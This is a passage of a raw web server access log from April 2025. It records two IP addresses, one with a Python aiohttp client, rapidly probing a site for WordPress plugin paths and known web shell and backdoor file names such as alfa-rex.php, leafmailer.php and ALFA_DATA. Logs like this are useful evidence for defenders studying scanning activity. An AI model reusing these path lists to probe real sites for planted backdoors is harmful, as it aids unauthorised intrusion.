"-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:36 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:36 -0400] "GET /wp-includes/class-matchesmapregex-error-comment.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:36 -0400] "GET /wp-content/plugins/woo-checkout-field-editor-pro/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:37 -0400] "GET /wwwroot/bailian/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:37 -0400] "GET /wp-content/plugins/really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Order/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:38 -0400] "GET /wp-content/plugins/elementor/modules/shapes/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:38 -0400] "GET /wp-content/plugins/cookie-law-info/third-party/scripts/pixelyoursite/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:39 -0400] "GET /content/live/evolvedadvisor/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:39 -0400] "GET /content/live/bcibcdev/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:40 -0400] "GET /talferex/index/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:40 -0400] "GET /wp-includes/Xl2023.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:40 -0400] "GET /wp-content/plugins/wp-file-manager/lib/js/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:41 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:41 -0400] "GET /wp-content/plugins/wordpress-seo/src/surfaces/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:42 -0400] "GET /local/portals/johanronstrom/fmf/wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:42 -0400] "GET /piwik/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:43 -0400] "GET /content/live/ecologeldev/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:43 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:44 -0400] "GET /jobs4football/backend/wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:44 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:45 -0400] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:45 -0400] "GET /bayu123-cpu/system/refs/heads/main/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:46 -0400] "GET /boxbilling/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:46 -0400] "GET /wp-content/plugins/jetpack/modules/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:47 -0400] "GET /vendor/bin/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:47 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:47 -0400] "GET /content/live/myke/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:48 -0400] "GET /content/live/maddybarber/wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:48 -0400] "GET /images/throwback/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:49 -0400] "GET /wp-content/plugins/elementor/modules/kit-elements-defaults/import-export/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:49 -0400] "GET /content/live/pro180/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:50 -0400] "GET /content/live/commerceeq/wp-content/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:50 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:50 -0400] "GET /wp-content/plugins/wpforms-lite/src/Lite/Admin/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:51 -0400] "GET /wp-content/plugins/wp-menu-icons/icons/foundation/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:52 -0400] "GET /wp-content/plugins/seo-by-rank-math/includes/modules/woocommerce/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:52 -0400] "GET /css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:53 -0400] "GET /wp-admin/certificates/style-engine/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:53 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:53 -0400] "GET /wp-content/plugins/blocks/IXR/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:54 -0400] "GET /wp-content/plugins/b4b4/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:54 -0400] "GET /wp-content/themes/consultstreet/inc/customizer/customizer-settings/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:55 -0400] "GET /wp-content/plugins/dokan-lite/includes/ProductCategory/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:55 -0400] "GET /wp-content/plugins/essential-grid/includes/Unirest/Request/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:56 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:56 -0400] "GET /wwwroot/wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:57 -0400] "GET /public/wp-content/x/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:57 -0400] "GET /maddy/wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:58 -0400] "GET /wp-includes/yvgeq/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:58 -0400] "GET /content/live/mayfairprod/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:31:59 -0400] "GET /wp-content/plugins/woocommerce/includes/interfaces/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:31:59 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:31:59 -0400] "GET /local/nginx/wordpress6/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:00 -0400] "GET /en/control-structures.match.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:00 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:01 -0400] "GET /ajxiwvhv.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:01 -0400] "GET /ballu.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:02 -0400] "GET /bangu.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:02 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:02 -0400] "GET /bbvoremw.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:03 -0400] "GET /bhqpoerg.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:03 -0400] "GET /bot.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:04 -0400] "GET /bsj4d.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:04 -0400] "GET /chatbot-.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:05 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:05 -0400] "GET /chatbot-1.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:06 -0400] "GET /cncpszws.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:06 -0400] "GET /config.in.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:07 -0400] "GET /copypathss.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:07 -0400] "GET /createpdf.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:07 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:08 -0400] "GET /cufqnnwh.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:08 -0400] "GET /dbform69.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:09 -0400] "GET /fnctGML2bVu.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:09 -0400] "GET /gaple.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:10 -0400] "GET /igwnoded.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:10 -0400] "GET /imequmeb.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:10 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:11 -0400] "GET /index--.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:11 -0400] "GET /index-.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:12 -0400] "GET /index-default.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:12 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:13 -0400] "GET /index3.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:13 -0400] "GET /indo.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:14 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:14 -0400] "GET /jklrxrjc.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:14 -0400] "GET /jozezlfl.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:15 -0400] "GET /jyvrcbla.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:16 -0400] "GET /kiiqbtcn.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:16 -0400] "GET /VXtdztm.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:17 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:17 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:17 -0400] "GET /classfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:18 -0400] "GET /connects.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:18 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:19 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:19 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:20 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:20 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:21 -0400] "GET /wp-admin/css/colors/sunrise/index.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:21 -0400] "GET /wp-content/plugins/woocommerce/siteindex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:21 -0400] "GET /wp-admin/css/colors/sunrise/lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:22 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/events-calendar-list/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:22 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/events-calendar-list/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:23 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/events-calendar-list/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:23 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/events-calendar-list/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:24 -0400] "GET /pixelpages/application/views/auth/common/about.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:24 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:24 -0400] "GET /pixelpages/application/views/auth/common/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:25 -0400] "GET /pixelpages/application/views/auth/common/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:25 -0400] "GET /pixelpages/application/views/auth/common/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:26 -0400] "GET /wp-includes/js/tinymce/plugins/wpemoji/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:26 -0400] "GET /wp-includes/js/tinymce/plugins/wpemoji/about.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:27 -0400] "GET /xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:27 -0400] "GET /wp-includes/js/tinymce/plugins/wpemoji/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:28 -0400] "GET /wp-includes/js/tinymce/plugins/wpemoji/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:28 -0400] "GET /wp-content/plugins/page-loading-effects/languages/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:29 -0400] "GET /wp-content/plugins/page-loading-effects/languages/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:29 -0400] "GET /wp-content/plugins/page-loading-effects/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:30 -0400] "GET /wp-content/plugins/page-loading-effects/languages/index.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:30 -0400] "GET /wp-admin/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:30 -0400] "GET /wp-class.vir.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:31 -0400] "GET /360/security/class/plugins/simpleClock/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:31 -0400] "GET /360/security/class/plugins/simpleClock/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:32 -0400] "GET /360/security/class/plugins/simpleClock/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:32 -0400] "GET /360/security/class/plugins/simpleClock/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:33 -0400] "GET /wp-content/themes/flatsome/inc/admin/kirki/modules/custom-sections/panels/about.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:33 -0400] "GET /wp-admin/css/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:33 -0400] "GET /wp-content/themes/flatsome/inc/admin/kirki/modules/custom-sections/panels/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:34 -0400] "GET /wp-content/themes/flatsome/inc/admin/kirki/modules/custom-sections/panels/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:34 -0400] "GET /wp-content/themes/flatsome/inc/admin/kirki/modules/custom-sections/panels/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:35 -0400] "GET /wp-content/themes/twentytwentythree/assets/fonts/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:35 -0400] "GET /wp-content/themes/twentytwentythree/assets/fonts/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:36 -0400] "GET /wp-content/themes/twentytwentythree/assets/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:36 -0400] "GET /wp-admin/images/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:36 -0400] "GET /wp-content/themes/twentytwentythree/assets/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:37 -0400] "GET /content/live/timsavage/fix.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:37 -0400] "GET /content/live/timsavage/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:38 -0400] "GET /content/live/timsavage/mailer.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:38 -0400] "GET /content/live/timsavage/man.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:39 -0400] "GET /content/live/timsavage/msleaf.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:39 -0400] "GET /content/live/timsavage/php.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:40 -0400] "GET /content/live/timsavage/psm.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:40 -0400] "GET /wp-admin/includes/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:40 -0400] "GET /content/live/timsavage/sell.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:41 -0400] "GET /content/live/timsavage/small.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:41 -0400] "GET /content/live/timsavage/sts.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:42 -0400] "GET /content/live/timsavage/t.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:43 -0400] "GET /content/live/timsavage/wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:43 -0400] "GET /content/live/timsavage/wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:43 -0400] "GET /wp-admin/maint/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:44 -0400] "GET /content/live/timsavage/wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:44 -0400] "GET /content/live/timsavage/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:45 -0400] "GET /content/live/timsavage/wp-cron.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:45 -0400] "GET /content/live/timsavage/wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:46 -0400] "GET /content/live/timsavage/wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:46 -0400] "GET /content/live/timsavage/wp-login.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:46 -0400] "GET /wp-admin/network/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:47 -0400] "GET /content/live/timsavage/wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:47 -0400] "GET /content/live/timsavage/wp-pass.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:48 -0400] "GET /content/live/timsavage/wp-register.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:48 -0400] "GET /content/live/timsavage/wp-settings.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:49 -0400] "GET /wp-admin/user/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:49 -0400] "GET /content/live/timsavage/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:49 -0400] "GET /content/live/timsavage/wp-themes.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:50 -0400] "GET /content/live/timsavage/wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:51 -0400] "GET /content/live/timsavage/wp-update.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:51 -0400] "GET /wp-admin/404TVS/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:51 -0400] "GET /content/live/timsavage/xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:52 -0400] "GET /wp-includes/css/dist/format-library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:52 -0400] "GET /wp-includes/css/dist/format-library/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:53 -0400] "GET /wp-includes/css/dist/format-library/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:53 -0400] "GET /wp-includes/css/dist/format-library/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:53 -0400] "GET /.well-known/pki-validation/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:54 -0400] "GET /wp-includes/css/dist/format-library/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:54 -0400] "GET /wp-content/plugins/WordPressCore/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:55 -0400] "GET /wp-content/plugins/WordPressCore/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:55 -0400] "GET /wp-content/plugins/WordPressCore/admin.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:56 -0400] "GET /.well-known/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:56 -0400] "GET /wp-content/plugins/WordPressCore/delpaths.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:56 -0400] "GET /wp-content/plugins/WordPressCore/delpaths.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:57 -0400] "GET /wp-content/plugins/WordPressCore/delpaths.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:58 -0400] "GET /jsanders/config.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:58 -0400] "GET /jsanders/distance_from_my_heart.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:32:59 -0400] "GET /.well-known/acme-challenge/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:32:59 -0400] "GET /jsanders/menu.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:32:59 -0400] "GET /jsanders/redirect_based_on_ip.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:00 -0400] "GET /jsanders/store_recipe.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:00 -0400] "GET /jsanders/template.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:01 -0400] "GET /jsanders/test.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:01 -0400] "GET /jsanders/view_recipe.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:02 -0400] "GET /jsanders/webadmin.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:02 -0400] "GET /images/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:02 -0400] "GET /mscu/authorize.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:03 -0400] "GET /mscu/cron.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:03 -0400] "GET /mscu/error.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:04 -0400] "GET /mscu/index.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:04 -0400] "GET /mscu/install.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:05 -0400] "GET /mscu/update.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:06 -0400] "GET /mscu/xmlrpc.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:33:06 -0400] "GET /cache1/xyz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:33:06 -0400] "GET /wp-content/plugins/woocommerce/assets/images/onboarding/about.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:07 -0400] "GET /wp-content/plugins/woocommerce/assets/images/onboarding/about.php7 HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:33:07 -0400] "GET 